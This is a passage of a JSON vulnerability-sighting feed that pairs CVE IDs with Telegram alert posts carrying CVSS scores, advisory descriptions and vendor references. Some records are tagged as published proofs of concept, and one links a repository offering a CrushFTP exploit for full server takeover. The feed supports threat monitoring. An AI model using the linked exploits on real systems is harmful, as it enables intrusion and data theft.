https://git.kernel.org/stable/c/89e8a2366e3bce584b6c01549d5019c5cda1205e", "creation_timestamp": "2025-02-21T14:18:36.000000Z"}, {"uuid": "2cbaf76a-7c05-46df-b83d-60d021979fc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40700", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5052", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40700\n\ud83d\udd25 CVSS Score: 6.1 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: IBM Security Verify Access Appliance and Container 10.0.0 through 10.0.8 is vulnerable to cross-site scripting. This vulnerability allows an unauthenticated attacker to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session.\n\ud83d\udccf Published: 2025-02-04T20:36:10.138Z\n\ud83d\udccf Modified: 2025-02-22T20:57:09.499Z\n\ud83d\udd17 References:\n1. https://www.ibm.com/support/pages/node/7182386", "creation_timestamp": "2025-02-22T21:25:52.000000Z"}, {"uuid": "8227e9e5-3a8b-48b6-a66e-921d72e6346b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4029", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5445", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-4029\n\ud83d\udd25 CVSS Score: 4.1 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H)\n\ud83d\udd39 Description: A vulnerability was found in Wildfly\u2019s management interface. Due to the lack of limitation of sockets for the management interface, it may be possible to cause a denial of service hitting the nofile limit as there is no possibility to configure or set a maximum number of connections.\n\ud83d\udccf Published: 2024-05-02T14:55:27.135Z\n\ud83d\udccf Modified: 2025-02-26T04:13:27.071Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/errata/RHSA-2024:8075\n2. https://access.redhat.com/errata/RHSA-2024:8076\n3. https://access.redhat.com/errata/RHSA-2024:8077\n4. https://access.redhat.com/errata/RHSA-2024:8080\n5. https://access.redhat.com/errata/RHSA-2024:8823\n6. https://access.redhat.com/errata/RHSA-2024:8824\n7. https://access.redhat.com/errata/RHSA-2024:8826\n8. https://access.redhat.com/security/cve/CVE-2024-4029\n9. https://bugzilla.redhat.com/show_bug.cgi?id=2278615", "creation_timestamp": "2025-02-26T04:24:29.000000Z"}, {"uuid": "5b7df3b1-4746-4e94-bd27-ff131ae4620b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7293", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aRCE\n\u63cf\u8ff0\uff1aCVE-2024-4040 CrushFTP SSTI LFI & Auth Bypass | Full Server Takeover | Wordlist Support\nURL\uff1ahttps://github.com/Stuub/CVE-2024-4040-SSTI-LFI-PoC\n\n\u6807\u7b7e\uff1a#RCE", "creation_timestamp": "2024-05-13T17:06:26.000000Z"}, {"uuid": "559cbd79-f241-4bac-8217-e8f0eec1f142", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40896", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/5890", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40896\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: In libxml2 2.11 before 2.11.9, 2.12 before 2.12.9, and 2.13 before 2.13.3, the SAX parser can produce events for external entities even if custom SAX handlers try to override entity content (by setting \"checked\"). This makes classic XXE attacks possible.\n\ud83d\udccf Published: 2024-12-23T00:00:00.000Z\n\ud83d\udccf Modified: 2025-02-28T13:07:30.165Z\n\ud83d\udd17 References:\n1. https://gitlab.gnome.org/GNOME/libxml2/-/issues/761\n2. https://gitlab.gnome.org/GNOME/libxml2/-/commit/1a8932303969907f6572b1b6aac4081c56adb5c6", "creation_timestamp": "2025-02-28T13:26:56.000000Z"}, {"uuid": "f72e4843-51dc-438d-8163-e0a025e424fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40443", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/7413", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40443\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: SQL Injection vulnerability in Simple Laboratory Management System using PHP and MySQL v.1.0 allows a remote attacker to cause a denial of service via the delete_users function in the Useres.php\n\ud83d\udccf Published: 2024-11-13T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-13T13:37:45.487Z\n\ud83d\udd17 References:\n1. https://gist.github.com/Yuma-Tsushima07/32bb887b791fec5c805557bedfec55c7\n2. https://github.com/Yuma-Tsushima07/CVE-2024-40443", "creation_timestamp": "2025-03-13T13:44:56.000000Z"}, {"uuid": "a991bdb4-a4a1-4697-9bcf-0849414befba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40655", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/7990", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40655\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: In bindAndGetCallIdentification of CallScreeningServiceHelper.java, there is a possible way to maintain a while-in-use permission in the background due to a permissions bypass. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.\n\ud83d\udccf Published: 2024-09-11T00:09:18.166Z\n\ud83d\udccf Modified: 2025-03-18T20:42:47.617Z\n\ud83d\udd17 References:\n1. https://android.googlesource.com/platform/packages/services/Telecomm/+/eeef54b37a362f506ea3aa155baddc545b6a909a\n2. https://source.android.com/security/bulletin/2024-09-01", "creation_timestamp": "2025-03-18T20:48:07.000000Z"}, {"uuid": "54c9cabe-49c8-4d0f-a702-f7d60d5b6d65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40834", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/7573", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40834\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: This issue was addressed by adding an additional prompt for user consent. This issue is fixed in macOS Sonoma 14.6, macOS Monterey 12.7.6, macOS Ventura 13.6.8. A shortcut may be able to bypass sensitive Shortcuts app settings.\n\ud83d\udccf Published: 2024-07-29T22:16:59.786Z\n\ud83d\udccf Modified: 2025-03-14T15:37:55.243Z\n\ud83d\udd17 References:\n1. https://support.apple.com/en-us/HT214120\n2. https://support.apple.com/en-us/HT214119\n3. https://support.apple.com/en-us/HT214118\n4. http://seclists.org/fulldisclosure/2024/Jul/20\n5. http://seclists.org/fulldisclosure/2024/Jul/18\n6. http://seclists.org/fulldisclosure/2024/Jul/19", "creation_timestamp": "2025-03-14T15:43:25.000000Z"}, {"uuid": "0103b67c-91ba-4704-8327-3f55c25133f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40779", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/7429", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40779\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in iOS 16.7.9 and iPadOS 16.7.9, Safari 17.6, iOS 17.6 and iPadOS 17.6, watchOS 10.6, tvOS 17.6, visionOS 1.3, macOS Sonoma 14.6. Processing maliciously crafted web content may lead to an unexpected process crash.\n\ud83d\udccf Published: 2024-07-29T22:16:33.641Z\n\ud83d\udccf Modified: 2025-03-13T16:26:31.483Z\n\ud83d\udd17 References:\n1. https://support.apple.com/en-us/HT214121\n2. https://support.apple.com/en-us/HT214117\n3. https://support.apple.com/en-us/HT214116\n4. https://support.apple.com/en-us/HT214124\n5. https://support.apple.com/en-us/HT214119\n6. https://support.apple.com/en-us/HT214123\n7. https://support.apple.com/en-us/HT214122\n8. http://seclists.org/fulldisclosure/2024/Jul/16\n9. http://seclists.org/fulldisclosure/2024/Jul/15\n10. http://seclists.org/fulldisclosure/2024/Jul/23\n11. http://seclists.org/fulldisclosure/2024/Jul/21\n12. http://seclists.org/fulldisclosure/2024/Jul/17\n13. http://seclists.org/fulldisclosure/2024/Jul/22\n14. http://seclists.org/fulldisclosure/2024/Jul/18\n15. https://www.secpod.com/blog/apple-fixes-multiple-security-vulnerabilities-in-july-2024-updates/", "creation_timestamp": "2025-03-13T16:45:25.000000Z"}, {"uuid": "b551dbe8-83fc-4f62-b5c1-f6a119f31f00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40522", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/7556", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40522\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: There is a remote code execution vulnerability in SeaCMS 12.9. The vulnerability is caused by phomebak.php writing some variable names passed in without filtering them before writing them into the php file. An authenticated attacker can exploit this vulnerability to execute arbitrary commands and obtain system permissions.\n\ud83d\udccf Published: 2024-07-12T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-14T14:24:47.052Z\n\ud83d\udd17 References:\n1. https://gitee.com/fushuling/cve/blob/master/%20SeaCMS%2012.9%20phomebak.php%20code%20injection.md", "creation_timestamp": "2025-03-14T14:45:11.000000Z"}, {"uuid": "89fcd780-537a-4ee2-84b8-14a6e5972915", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40829", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/7628", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40829\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The issue was addressed with improved checks. This issue is fixed in watchOS 10.6, iOS 17.6 and iPadOS 17.6, iOS 16.7.9 and iPadOS 16.7.9, macOS Ventura 13.6.8. An attacker may be able to view restricted content from the lock screen.\n\ud83d\udccf Published: 2024-07-29T22:17:15.740Z\n\ud83d\udccf Modified: 2025-03-14T19:28:32.445Z\n\ud83d\udd17 References:\n1. https://support.apple.com/en-us/HT214117\n2. https://support.apple.com/en-us/HT214116\n3. https://support.apple.com/en-us/HT214120\n4. https://support.apple.com/en-us/HT214124\n5. http://seclists.org/fulldisclosure/2024/Jul/16\n6. http://seclists.org/fulldisclosure/2024/Jul/21\n7. http://seclists.org/fulldisclosure/2024/Jul/17\n8. http://seclists.org/fulldisclosure/2024/Jul/19", "creation_timestamp": "2025-03-14T19:44:55.000000Z"}, {"uuid": "1a56da08-ba19-40e1-94f1-6c0bbf685d20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40845", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/7590", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40845\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The issue was addressed with improved memory handling. This issue is fixed in macOS Sonoma 14.7, macOS Sequoia 15. Processing a maliciously crafted video file may lead to unexpected app termination.\n\ud83d\udccf Published: 2024-09-16T23:23:13.612Z\n\ud83d\udccf Modified: 2025-03-14T16:26:53.161Z\n\ud83d\udd17 References:\n1. https://support.apple.com/en-us/121238\n2. https://support.apple.com/en-us/121247", "creation_timestamp": "2025-03-14T16:44:07.000000Z"}, {"uuid": "9d1b67e8-3152-4eac-937c-455f2b64057d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40812", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/7615", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40812\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: A logic issue was addressed with improved checks. This issue is fixed in iOS 16.7.9 and iPadOS 16.7.9, macOS Ventura 13.6.8, macOS Monterey 12.7.6, iOS 17.6 and iPadOS 17.6, watchOS 10.6, visionOS 1.3, macOS Sonoma 14.6. A shortcut may be able to bypass Internet permission requirements.\n\ud83d\udccf Published: 2024-07-29T22:17:12.185Z\n\ud83d\udccf Modified: 2025-03-14T17:16:45.901Z\n\ud83d\udd17 References:\n1. https://support.apple.com/en-us/HT214117\n2. https://support.apple.com/en-us/HT214116\n3. https://support.apple.com/en-us/HT214120\n4. https://support.apple.com/en-us/HT214124\n5. https://support.apple.com/en-us/HT214119\n6. https://support.apple.com/en-us/HT214123\n7. https://support.apple.com/en-us/HT214118\n8. http://seclists.org/fulldisclosure/2024/Jul/16\n9. http://seclists.org/fulldisclosure/2024/Jul/23\n10. http://seclists.org/fulldisclosure/2024/Jul/21\n11. http://seclists.org/fulldisclosure/2024/Jul/20\n12. http://seclists.org/fulldisclosure/2024/Jul/17\n13. http://seclists.org/fulldisclosure/2024/Jul/18\n14. http://seclists.org/fulldisclosure/2024/Jul/19", "creation_timestamp": "2025-03-14T17:49:02.000000Z"}, {"uuid": "0527c96b-2c1d-4854-bac6-28adcd13ac28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4028", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/7664", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-4028\n\ud83d\udd25 CVSS Score: 3.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N)\n\ud83d\udd39 Description: A vulnerability was found in Keycloak. This issue may allow a privileged attacker to use a malicious payload as the permission while creating items (Resource and Permissions) from the admin console, leading to a stored cross-site scripting (XSS) attack.\n\ud83d\udccf Published: 2025-02-18T17:54:08.752Z\n\ud83d\udccf Modified: 2025-03-15T04:12:08.524Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/security/cve/CVE-2024-4028\n2. https://bugzilla.redhat.com/show_bug.cgi?id=2276418", "creation_timestamp": "2025-03-15T04:45:13.000000Z"}, {"uuid": "bc1cb748-726d-43f7-8702-7cc8ccbe75f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40603", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/7860", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40603\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue was discovered in the ArticleRatings extension for MediaWiki through 1.42.1. Special:ChangeRating allows CSRF to alter data via a GET request.\n\ud83d\udccf Published: 2024-07-06T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-17T21:38:52.970Z\n\ud83d\udd17 References:\n1. https://phabricator.wikimedia.org/T363884", "creation_timestamp": "2025-03-17T21:47:25.000000Z"}, {"uuid": "12dd3033-c28e-47d5-b9ab-ee73bdfe21b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40635", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/7865", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40635\n\ud83d\udd25 CVSS Score: 4.6 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: containerd is an open-source container runtime. A bug was found in containerd prior to versions 1.6.38, 1.7.27, and 2.0.4 where containers launched with a User set as a `UID:GID` larger than the maximum 32-bit signed integer can cause an overflow condition where the container ultimately runs as root (UID 0). This could cause unexpected behavior for environments that require containers to run as a non-root user. This bug has been fixed in containerd 1.6.38, 1.7.27, and 2.04. As a workaround, ensure that only trusted images are used and that only trusted users have permissions to import images.\n\ud83d\udccf Published: 2025-03-17T21:32:37.894Z\n\ud83d\udccf Modified: 2025-03-17T21:32:37.894Z\n\ud83d\udd17 References:\n1. https://github.com/containerd/containerd/security/advisories/GHSA-265r-hfxg-fhmg\n2. https://github.com/containerd/containerd/commit/05044ec0a9a75232cad458027ca83437aae3f4da\n3. https://github.com/containerd/containerd/commit/1a43cb6a1035441f9aca8f5666a9b3ef9e70ab20\n4. https://github.com/containerd/containerd/commit/cf158e884cfe4812a6c371b59e4ea9bc4c46e51a", "creation_timestamp": "2025-03-17T21:47:32.000000Z"}, {"uuid": "be6d4704-b434-4f47-b872-daf507361210", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40393", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/7970", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40393\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Online Clinic Management System In PHP With Free Source code v1.0 was discovered to contain a SQL injection vulnerability via the user parameter at login.php.\n\ud83d\udccf Published: 2024-07-16T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-18T19:40:46.132Z\n\ud83d\udd17 References:\n1. https://github.com/CveSecLook/cve/issues/47", "creation_timestamp": "2025-03-18T19:48:40.000000Z"}, {"uuid": "732dfe40-b32e-4996-a751-da158cdb5335", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40857", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/7949", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40857\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: This issue was addressed through improved state management. This issue is fixed in Safari 18, visionOS 2, watchOS 11, macOS Sequoia 15, iOS 18 and iPadOS 18, tvOS 18. Processing maliciously crafted web content may lead to universal cross site scripting.\n\ud83d\udccf Published: 2024-09-16T23:22:32.092Z\n\ud83d\udccf Modified: 2025-03-18T18:46:29.545Z\n\ud83d\udd17 References:\n1. https://support.apple.com/en-us/121238\n2. https://support.apple.com/en-us/121248\n3. https://support.apple.com/en-us/121249\n4. https://support.apple.com/en-us/121250\n5. https://support.apple.com/en-us/121240\n6. https://support.apple.com/en-us/121241", "creation_timestamp": "2025-03-18T19:02:38.000000Z"}, {"uuid": "cc8bc3a7-65be-4ef8-b740-6ee547d77a13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4094", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8005", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-4094\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Simple Share Buttons Adder WordPress plugin before 8.5.1 does not sanitise and escape some of its settings, which could allow high privilege users such as editors to perform Cross-Site Scripting attacks even when unfiltered_html is disallowed\n\ud83d\udccf Published: 2024-06-18T06:00:02.301Z\n\ud83d\udccf Modified: 2025-03-18T20:25:05.878Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/04b2feba-e009-4fce-8539-5dfdb4300433/", "creation_timestamp": "2025-03-18T20:48:29.000000Z"}, {"uuid": "9ab6e9aa-25e8-4d25-beb5-a0f0dfe07437", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40786", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8141", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40786\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: This issue was addressed through improved state management. This issue is fixed in iOS 17.6 and iPadOS 17.6, iOS 16.7.9 and iPadOS 16.7.9, macOS Ventura 13.6.8. An attacker may be able to view sensitive user information.\n\ud83d\udccf Published: 2024-07-29T22:16:51.963Z\n\ud83d\udccf Modified: 2025-03-19T19:50:03.221Z\n\ud83d\udd17 References:\n1. https://support.apple.com/en-us/HT214117\n2. https://support.apple.com/en-us/HT214116\n3. https://support.apple.com/en-us/HT214120\n4. http://seclists.org/fulldisclosure/2024/Jul/16\n5. http://seclists.org/fulldisclosure/2024/Jul/17\n6. http://seclists.org/fulldisclosure/2024/Jul/19", "creation_timestamp": "2025-03-19T20:18:09.000000Z"}, {"uuid": "977990b9-c4a3-4161-9f91-53b475045967", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40784", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8072", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40784\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An integer overflow was addressed with improved input validation. This issue is fixed in iOS 16.7.9 and iPadOS 16.7.9, macOS Ventura 13.6.8, iOS 17.6 and iPadOS 17.6, watchOS 10.6, tvOS 17.6, visionOS 1.3, macOS Sonoma 14.6. Processing a maliciously crafted file may lead to unexpected app termination.\n\ud83d\udccf Published: 2024-07-29T22:17:04.342Z\n\ud83d\udccf Modified: 2025-03-19T14:42:28.797Z\n\ud83d\udd17 References:\n1. https://support.apple.com/en-us/HT214117\n2. https://support.apple.com/en-us/HT214116\n3. https://support.apple.com/en-us/HT214120\n4. https://support.apple.com/en-us/HT214124\n5. https://support.apple.com/en-us/HT214119\n6. https://support.apple.com/en-us/HT214123\n7. https://support.apple.com/en-us/HT214122\n8. http://seclists.org/fulldisclosure/2024/Jul/16\n9. http://seclists.org/fulldisclosure/2024/Jul/23\n10. http://seclists.org/fulldisclosure/2024/Jul/21\n11. http://seclists.org/fulldisclosure/2024/Jul/17\n12. http://seclists.org/fulldisclosure/2024/Jul/22\n13. http://seclists.org/fulldisclosure/2024/Jul/18\n14. http://seclists.org/fulldisclosure/2024/Jul/19", "creation_timestamp": "2025-03-19T15:17:59.000000Z"}, {"uuid": "edbc9b45-539a-40ae-a0a7-4f74fcbda18f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40791", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8069", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40791\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: A privacy issue was addressed with improved private data redaction for log entries. This issue is fixed in macOS Ventura 13.7, iOS 17.7 and iPadOS 17.7, iOS 18 and iPadOS 18, macOS Sonoma 14.7, macOS Sequoia 15. An app may be able to access information about a user's contacts.\n\ud83d\udccf Published: 2024-09-16T23:22:33.850Z\n\ud83d\udccf Modified: 2025-03-19T14:46:59.430Z\n\ud83d\udd17 References:\n1. https://support.apple.com/en-us/121234\n2. https://support.apple.com/en-us/121238\n3. https://support.apple.com/en-us/121246\n4. https://support.apple.com/en-us/121250\n5. https://support.apple.com/en-us/121247", "creation_timestamp": "2025-03-19T15:17:56.000000Z"}, {"uuid": "7368ff54-2ecc-42eb-b1a6-d3218310072f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40775", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8465", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40775\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: A downgrade issue was addressed with additional code-signing restrictions. This issue is fixed in macOS Sonoma 14.6, macOS Monterey 12.7.6, macOS Ventura 13.6.8. An app may be able to leak sensitive user information.\n\ud83d\udccf Published: 2024-07-29T22:16:39.517Z\n\ud83d\udccf Modified: 2025-03-24T16:16:00.949Z\n\ud83d\udd17 References:\n1. https://support.apple.com/en-us/HT214120\n2. https://support.apple.com/en-us/HT214119\n3. https://support.apple.com/en-us/HT214118\n4. http://seclists.org/fulldisclosure/2024/Jul/20\n5. http://seclists.org/fulldisclosure/2024/Jul/18\n6. http://seclists.org/fulldisclosure/2024/Jul/19", "creation_timestamp": "2025-03-24T16:22:53.000000Z"}, {"uuid": "08c67d56-3989-47a5-9c25-f653b7a6889b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40628", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/8767", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40628\n\ud83d\udd25 CVSS Score: 10 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)\n\ud83d\udd39 Description: JumpServer is an open-source Privileged Access Management (PAM) tool that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser. An attacker can exploit the ansible playbook to read arbitrary files in the celery container, leading to sensitive information disclosure. The Celery container runs as root and has database access, allowing the attacker to steal all secrets for hosts, create a new JumpServer account with admin privileges, or manipulate the database in other ways. This issue has been addressed in release versions 3.10.12 and 4.0.0. It is recommended to upgrade the safe versions. There is no known workarounds for this vulnerability.\n\ud83d\udccf Published: 2024-07-18T17:05:21.662Z\n\ud83d\udccf Modified: 2025-03-25T19:58:34.928Z\n\ud83d\udd17 References:\n1. https://github.com/jumpserver/jumpserver/security/advisories/GHSA-rpf7-g4xh-84v9\n2. https://www.sonarsource.com/blog/diving-into-jumpserver-attackers-gateway-to-internal-networks-2-2", "creation_timestamp": "2025-03-25T20:24:37.000000Z"}, {"uuid": "d3b66a53-c27a-485b-a9fc-e2f0f473aced", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40837", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8712", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40837\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Sequoia 15. An app may be able to access protected user data.\n\ud83d\udccf Published: 2024-09-16T23:22:44.799Z\n\ud83d\udccf Modified: 2025-03-25T16:10:42.252Z\n\ud83d\udd17 References:\n1. https://support.apple.com/en-us/121238", "creation_timestamp": "2025-03-25T16:25:19.000000Z"}, {"uuid": "d54e6bf5-0679-4c3b-b55d-011882ee9988", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40827", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8702", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-40827\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The issue was addressed with improved checks. This issue is fixed in macOS Sonoma 14.6, macOS Monterey 12.7.6, macOS 